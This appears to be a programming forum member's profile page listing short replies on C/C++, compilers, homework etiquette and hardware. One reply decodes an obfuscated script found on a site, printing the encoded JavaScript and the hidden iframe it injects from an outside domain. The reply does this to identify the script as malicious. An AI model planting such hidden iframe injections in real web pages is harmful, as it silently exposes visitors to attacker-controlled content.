5,237 Posted Topics

Member Avatar for Samran
Member Avatar for NathanOliver

1. Populating the array in memory is going to be a lot quicker than reading it from a file. File I/O is orders of magnitude slower than memory. 2. If you want the same "random" data each time, then call srand() with a constant, and not the result of time. …

Member Avatar for NathanOliver
0
107
Member Avatar for rahul8590

Short answer - no. Longer answer - depends on which OS/Compiler you have and what libraries you have installed (or willing to install)

Member Avatar for Salem
0
673
Member Avatar for Svolacius

> I need program code in C No, that's what you would like, not what you need. What you need is to make an effort to solve your own homework, then ask a specific question when you get stuck. Wanting someone to spoon-feed you an answer while you go off …

Member Avatar for Aia
0
118
Member Avatar for therealsolitare

Also posted here - [url]http://www.daniweb.com/forums/thread99216.html[/url] Try not to cross-post.

Member Avatar for Salem
0
6K
Member Avatar for pczafer
Member Avatar for tux4life
0
187
Member Avatar for thomasmendozajr

[url]http://www.nr2k3tracks.com/[/url] [url]http://www.mudflaps.iinet.net.au/[/url] [url]http://clusty.com/search?query=Nascar+racing+2003&sourceid=Mozilla-search[/url] Refine the search with say "mod" or "SDK" Try and find a forum which specialises in game mods.

Member Avatar for Salem
0
60
Member Avatar for sinapse

> I'm currently using the new borland so this is a correct syntax > after all it's working on my computer, You have no idea how much grief you're going to get if you keep up with the "it works on this compiler" approach. If for no other reason, [U]when …

Member Avatar for Salem
0
159
Member Avatar for willydlw
Member Avatar for Salem
0
190
Member Avatar for tksrules

Read Me: Starting Python (Multi-page thread 1 2 3 4 5) Read Me: Projects for the Beginner (Multi-page thread 1 2 3 4 5) Read Me: Starting wxPython (GUI code) (Multi-page thread 1 2 3) You mean none of these explained a while loop? Not one code example at all …

Member Avatar for marium ahmad
0
85
Member Avatar for raffer

[url]http://www.dban.org/[/url] This does two things: 1. It removes every last trace of the old installation. 2. It gives the disk a really good work-out. I had the same trouble as you some time back (but with 2K IIRC). Eventually, I figured out that there were a few bad sectors towards …

Member Avatar for Frank Wallis
0
138
Member Avatar for Sarnali

Sure, just fix the spelling [url]http://clusty.com/search?query=intrusion+detection+in+wireless+agent&sourceid=Mozilla-search[/url]

Member Avatar for Salem
0
10
Member Avatar for martini1
Member Avatar for Salem
0
30
Member Avatar for anraevlus18

> am using turbo c 3.00 Why? It's 20+ years out of date, and my guess is you're running XP or something as your main OS. Congratulations, you've turned your Ferrari into a horse and cart. Get code::blocks or visual studio express (details in a search engine near you). Oh, …

Member Avatar for Ancient Dragon
0
100
Member Avatar for RayvenHawk

> but I'll be working with more than just 3 numbers so this method would become very tedious to write up. Think "pack of cards" and "shuffle" The "pack" could be an array of 52, initialised with numbers 1 to 52 The "shuffle" swaps random pairs - the uniqueness of …

Member Avatar for RayvenHawk
0
188
Member Avatar for Anpippin

[url]http://clusty.com/search?query=yellow+light+of+death&sourceid=Mozilla-search[/url] A lot of talk, maybe some answers. Did you think to try this yourself?

Member Avatar for Salem
0
132
Member Avatar for rishabjain

Ask your "friend" [url]http://www.daniweb.com/forums/thread189664.html[/url]

Member Avatar for VernonDozier
-2
296
Member Avatar for jagdeep89

Ask your "friend" [url]http://www.daniweb.com/forums/thread189624.html[/url]

Member Avatar for ndeniche
-1
365
Member Avatar for Dave Sinkula

> drink her pretty Just how much drink was drunk in that last picture? :twisted:

Member Avatar for jephthah
0
666
Member Avatar for Turyturbo

> strcpy(String, "abcdefghijklmnopqrstuvxyz"); > if((StringPtr = new char[26]) == NULL) The alphabet, plus a \0 is 27 chars in total. Both the array and your allocated memory are overstepping their limits.

Member Avatar for ThundrbltMN
0
244
Member Avatar for johny123

> and with out deleting the file. What's this supposed to mean? Or more to the point, what's a "clean" text file with anything other than zero bytes in it supposed to look like?

Member Avatar for jephthah
0
5K
Member Avatar for Skorpion

You mean there is NO information on the web at all? Have all your search engines returned zero results, or just biographies of some Viking?

Member Avatar for yogindernath
0
127
Member Avatar for viper34j
Member Avatar for DemonGal711

Post-it notes and a whiteboard would be my suggestion. If you're still in the dark as to what the nature of the problem really is, then hacking code is the last thing you should be doing. What you're tying to do is create one of these [url]http://en.wikipedia.org/wiki/Entity-relationship_model[/url] Some of the …

Member Avatar for DevC++4.9.9.2
0
785
Member Avatar for Ken JS

[URL="http://clusty.com/search?query=Parity+Check+Matrix&sourceid=Mozilla-search"]Click ME[/URL] I dunno, what were you expecting as a response?

Member Avatar for SITI HARYANTI
0
400
Member Avatar for khr2003

Well using [url]http://www.w3schools.com/js/tryit.asp?filename=tryjs_alert[/url] and some deft editing (replace any document.write() with alert() ). The big mass of numbers first expands to this text [code] <script>if(!myia){document.write(unescape( '%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%63%31%30%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%67%6f%67%6f%32%6d%65%2e%6e%65%74%2f%2e%67%6f%2f%63%68%65%63%6b%2e%68%74%6d%6c%27%20%77%69%64%74%68%3d%33%34%39%20%68%65%69%67%68%74%3d%35%35%37%20%73%74%79%6c%65%3d%27%76%69%73%69%62%69%6c%69%74%79%3a%68%69%64%64%65%6e%27%3e%3c%2f%69%66%72%61%6d%65%3e'));}var myia=true;</script> [/code] Which in turn expands to this [code] <iframe name=c10 src='http://gogo2me.net/.go/check.html' width=349 height=557 style='visibility:hidden'></iframe> [/code] Sure ain't a google ad script. Googling gogo2me …

Member Avatar for cwarn23
0
1K
Member Avatar for professor01
Member Avatar for bryansmith123
0
69
Member Avatar for s1986

Please reply as soon as possible... [url]http://www.catb.org/~esr/faqs/smart-questions.html#urgent[/url] You might try this as well [url]http://www.catb.org/~esr/faqs/smart-questions.html#beprecise[/url] rather than just posting "it doesn't work".

Member Avatar for monkey_king
0
101
Member Avatar for inzomniac

A couple of links might give food for thought. [url]http://www.osdev.org/[/url] [url]http://www.nondot.org/sabre/os/articles[/url]

Member Avatar for inzomniac
0
165
Member Avatar for rEhSi_123
Member Avatar for Fest3er
0
174
Member Avatar for KillerOfDN

Then what? I very much doubt that he'll simply "snap out of it" just because of a failure to connect. What's your plan for phase 2? If he's that deeply addicted to it, you're going to need a counsellor, and probably some other services as well. Research your total solution, …

Member Avatar for KillerOfDN
0
115
Member Avatar for crewxp

[url]http://c-faq.com/stdio/stdinflush.html[/url] And [url]http://www.manpagez.com/man/3/fflush/[/url] [quote] The function fflush() forces a write of all buffered data for the given [COLOR="Red"][B]output or update stream[/B][/COLOR] via the stream's underlying write function. The open status of the stream is unaffected. [/quote] No mention of input streams here, so trying to flush an input stream is …

Member Avatar for siddhant3s
0
296
Member Avatar for serkan sendur

> then tells the OS to return back to the called procedure. The OS isn't involved in such things.

Member Avatar for Narue
0
1K
Member Avatar for theighost

> I just made a script that when i give a password, it destroys the whole site, delete every file. is that enough? This is dangerous! - How would you explain it, if the owner found out about it? Maybe they use some 3rd party to verify quality. - How …

Member Avatar for Narue
0
145
Member Avatar for jam123

Perhaps explore the use of tags which really matter [url]http://www.daniweb.com/forums/announcement118-3.html[/url]

Member Avatar for Alibeg
0
145
Member Avatar for Thug Heart

Most processors have a 'cmp' instruction to compare things. Look it up in your processor reference manual.

Member Avatar for Thug Heart
0
98
Member Avatar for Crul

> gcc -c dtio.h dtio.c > g++ screen.h screen.cpp dtio.o testMain.cpp -o testM You DON'T compile header files! gcc -c dtio.c g++ -o testM dtio.o screen.cpp testMain.cpp

Member Avatar for Salem
0
1K
Member Avatar for saphira

On the plus side, they did manage to use code tags on the first attempt, despite running around screaming "[URL="http://www.catb.org/~esr/faqs/smart-questions.html#urgent"]FIRE FIRE[/URL]"

Member Avatar for Salem
0
4K
Member Avatar for viv_daniweb

[url]http://www.catb.org/~esr/faqs/smart-questions.html#writewell[/url] Try expressing your thoughts so it can't be sent as an SMS message.

Member Avatar for siddhant3s
0
164
Member Avatar for tux4life

> Is MinGW not an advanced compiler? Or is it just because they aren't developping Dev-C++ anymore... 1. separate the compiler from the IDE. You can normally upgrade one without the other. 2. dev-C++ is not being developed; it also has a fair number of bugs [url]http://en.wikipedia.org/wiki/Comparison_of_integrated_development_environments[/url] [url]http://en.wikipedia.org/wiki/List_of_source_code_editors[/url] Choose your …

Member Avatar for tux4life
0
170
Member Avatar for MosaicFuneral

> to be set or always set? Not at all. The compiler just outputs the code such that it's tagged with the right section name. It's the linker and linker configuration script which set the properties of each section of memory. As for checking say that a particular code section …

Member Avatar for Salem
0
267
Member Avatar for slimjimmer

> So will sscanf do this? Because when I try sscanf I get a seg fault. Then you're using it (or something) wrong. You would need to post an example which crashes for us to tell you exactly how it's wrong. Also, if you want proper validation, then you should …

Member Avatar for Salem
0
2K
Member Avatar for homeryansta
Member Avatar for abacuswalker

> Class A uses class B. (object class) > Class B uses class A. (object class) One of these will have to contain only a POINTER to the other one. [code=c++] class A { B b; }; class B { A a; }; [/code] You just end up with a.b.a.b.a.b.a.b.a.b.a.b.a.b …

Member Avatar for siddhant3s
0
105
Member Avatar for shasha821110
Member Avatar for siddhant3s
0
77
Member Avatar for nicojk

It was in a corridor, and you provided a free rubbish collection service.

Member Avatar for cguan_77
0
145
Member Avatar for ox99racer

Code tags [url]http://www.daniweb.com/forums/announcement8-3.html[/url] Rubbish title [url]http://www.catb.org/~esr/faqs/smart-questions.html#bespecific[/url]

Member Avatar for Comatose
0
108
Member Avatar for binamy1

> dic=new dicv [dicsize]; > for(unsigned long i=0;i<=dicsize;++i) First problem, this runs off the end of the array. Better check your other array subscripts as well.

Member Avatar for binamy1
0
140
Member Avatar for GadiK

[url]http://msdn.microsoft.com/en-us/library/faz3a37z.aspx[/url] Read this, and find out how to build your program with debug malloc enabled. At the start of main, put a breakpoint on your first call to malloc. It's only necessary because I can't remember the name of something :( When you hit the breakpoint, do step-into malloc, and …

Member Avatar for Salem
0
892
Member Avatar for Dan301978

> I'm just interested in getting the correct materials really > ...find out exactly what I need to learn so I don't spend a lot of effort and time studying the wrong stuff Why do I get the feeling that you're focussing WAY too much on acquiring the exact minimum …

Member Avatar for ChaseVoid
0
140

The End.